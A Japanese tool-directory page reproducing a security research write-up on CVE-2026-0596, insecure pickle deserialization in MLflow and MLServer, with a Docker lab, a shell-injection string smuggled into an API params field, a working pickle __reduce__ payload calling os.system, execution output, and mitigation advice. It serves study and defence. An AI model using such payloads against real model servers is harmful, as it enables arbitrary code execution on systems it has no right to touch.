Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-0596-Reproduction — MLflow および MLServer におけるデシリアライゼーション動作を評価するための研究環境と検証スクリプト。 | Kitploit
ツール/GitHubGitHub/sparshbiswas-ai/cve-2026-0596-reproduction
脆弱性分析エクスプロイトウェブセキュリティマルウェア分析ペネトレーションテストサプライチェーンセキュリティ論文と研究学習と教育バイナリエクスプロイト
ラボと実践
GitHubsparshbiswas-ai/cve-2026-0596-reproduction

CVE-2026-0596-Reproduction

MLflow および MLServer におけるデシリアライゼーション動作を評価するための研究環境と検証スクリプト。

リポジトリを見る
33ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-0596: MLflowエコシステムにおける安全でないデシリアライゼーションによる任意コード実行

mlflow==2.11.1およびmlserver==1.3.5における信頼できないモデル読み込みパイプラインに関連する検証、基礎メカニズム、アーキテクチャ上の脆弱性を詳述した包括的なセキュリティ研究レポート。


⚠️ 脆弱性インテリジェンス勧告: CVE-2026-0596

指標詳細
脆弱性IDCVE-2026-0596 / GHSA-rvhj-8chj-8v3c
共通脆弱性タイプCWE-78: OSコマンドインジェクション
CVSS v3.1基本スコア9.6 CRITICAL (CNA: huntr.dev) / 7.8 HIGH (NVD)
影響ベクトルネットワーク隣接、低複雑性、権限不要、ユーザー操作不要
影響を受けるエコシステムmlflow/mlflow(enable_mlserver=Trueで提供されるすべてのレガシーアーキテクチャ)

🔍 アーキテクチャ上の脆弱性詳細

背景

MLflowは、高性能でエンタープライズグレードのモデルサービングを処理するために、SeldonのMLServerとの統合を特長としています。コマンドラインインターフェースまたは追跡サーバーAPIを介してモデルサーバーを起動する際、開発者は次の設定パラメータフラグを利用します:

root@kitploit:~
enable_mlserver = True

📋 エグゼクティブサマリー

この実験環境は、ユーザーが提供した入力パラメータとアーティファクトメタデータを解析する際の機械学習モデルサービングフレームワークのランタイム動作を評価します。MLServerのAPI側のパラメータ解析境界は生の文字列リテラルを明確に分離し(シェルメタ文字を介した従来のOSコマンドインジェクションを防止)、基盤となるPythonランタイムは、レガシーなシリアル化オブジェクトストリーム(.pkl / pickle)を取り込む際に、構造的に安全でないデシリアライゼーションに対して脆弱なままです。

  • 脆弱性タイプ: 安全でないデシリアライゼーション (CWE-502) / 任意コード実行
  • 影響: 重要(コンテナコンテキスト内でのリモートコード実行)
  • 影響を受けるコンポーネント: モデル取り込み、アーティファクトダウンロードサブシステム、pickleベースの予測バックエンド

🛠️ ラボアーキテクチャとセットアップ

再現環境はDockerを使用してコンテナ化され、オペレーティングシステム層を分離し、本番グレードの機械学習モデルエンドポイントをシミュレートします。

1. Docker環境構成 (Dockerfile)

root@kitploit:~
FROM python:3.10-slim

WORKDIR /app

# Install native system binaries
RUN apt-get update && apt-get install -y \
    curl \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
    mlflow==2.11.1 \
    mlserver==1.3.5 \
    mlserver-mlflow==1.3.5

# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py

EXPOSE 5000

2. ネイティブモデル設計図 (generate_model.py)

root@kitploit:~
import mlflow
import mlflow.pyfunc
import os

class DummyModel(mlflow.pyfunc.PythonModel):
    def predict(self, context, model_input):
        return model_input

if __name__ == "__main__":
    model_path = "/app/saved_model"
    if not os.path.exists(model_path):
        mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())


🔬 脆弱性分析と検証

テストサイクルA: APIパラメータインジェクション境界 (合格)

初期テストでは、/invocations RESTエンドポイントのparamsペイロード配列を通じて、シェル終了ペイロードシーケンス(; touch /tmp/poc_success_marker.txt #)を渡そうと試みました。

root@kitploit:~
{
  "dataframe_split": {
    "columns": ["machine_input"],
    "data": [["test_data"]]
  },
  "params": {
    "custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
  }
}

結果: 否定的。 フレームワークはペイロードを絶対的な、評価されない文字列リテラルとして安全に扱いました。これにより、エンジンは入力変数を生のコマンドラッパーを介してシステムシェル引数を動的に合成するのではなく、直接Pythonメモリ空間に抽象化することが確認されました。


テストサイクルB: 安全でないデシリアライゼーションフック (悪用成功)

MLflowとMLServerはコンパイルされたPythonオブジェクトを取り込むため、核心的なリスクは文字列評価からオブジェクトグラフ再構築に移行します。カスタム検証スクリプトを使用して、Pythonのネイティブマジック最適化メソッド(__reduce__)を介して、実行トリガーがシミュレートされたモデルストリームに直接埋め込まれました。

1. エクスプロイトベクタースクリプト (trigger_native.py)

root@kitploit:~
import os
import pickle

class ExploitModel:
    def __reduce__(self):
        # The __reduce__ method defines object reconstruction behaviors.
        # Returning os.system forces immediate runtime command execution during loading.
        return (os.system, ("touch /tmp/native_success_marker.txt",))

if __name__ == "__main__":
    payload_path = "vulnerable_model.pkl"
    
    # Serialize the code execution payload into a pseudo-model file
    with open(payload_path, "wb") as f:
        pickle.dump(ExploitModel(), f)
        
    # Simulate an application or model server unpickling the artifact
    with open(payload_path, "rb") as f:
        pickle.load(f)

2. 実行とペイロード検証

スクリプトは、バックエンドのロードシーケンスを模倣するために、コンテナサンドボックス環境に注入されました。

root@kitploit:~
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py

# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py

3. 検証出力

コンテナの分離された一時ディレクトリをクエリしたところ、オブジェクト割り当てループ中に即座に任意コード実行が発生したことが確認されました。

root@kitploit:~
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root    0 May 18 10:31 native_success_marker.txt


🧠 根本原因のメカニズム

この問題は、モデルアーティファクトストレージ層への暗黙の信頼に起因します。標準のPython .pkl / pickleファイルは単なるフラットな設定レコードとして機能するわけではなく、ネストされたオブジェクトプロパティを再構築するための逐次的なバイトコード命令を含んでいます。

pickle.load()がデータセットを解析する際、__reduce__フックによって与えられた命令ストリームを優先します。これにより、データ型の検証や機械学習推論計算が初期化される前に、ターゲットアプリケーションがシェル環境内で直接ネイティブシステムバイナリ(os.system)を呼び出すようにリダイレクトされます。


🛡️ 本番環境での緩和戦略

1. 安全なデシリアライゼーションフォーマットの強制

すべてのトレーニングおよびデプロイパイプライン全体でレガシーなシリアル化レイヤー(pickle、joblib、marshal)の使用を非推奨にします。これらを構造的でデータのみの制約に置き換えます:

  • Safetensors(推奨): 保存データをフラットな数値配列のみに制限し、実行レイヤーを完全に除去します。
  • ONNX(Open Neural Network Exchange): 静的な計算グラフスキーマを強制し、任意のランタイム評価フックを防止します。

2. ランタイムの分離とサンドボックス化

パイプラインがレガシーモデル構成を厳密に必要とする場合:

  • コンテナ内で非rootユーザー(USER 10001)の下で厳密に実行ラッパーを実行します。
  • ファイルシステムは可能な限り読み取り専用でマウントし、ファイル作成攻撃を阻止します。
  • すべてのコンテナケーパビリティを削除し(cap_drop: [ALL])、ポッドを機密メタデータエンドポイントを含むネットワークから分離します。
ツールをダウンロード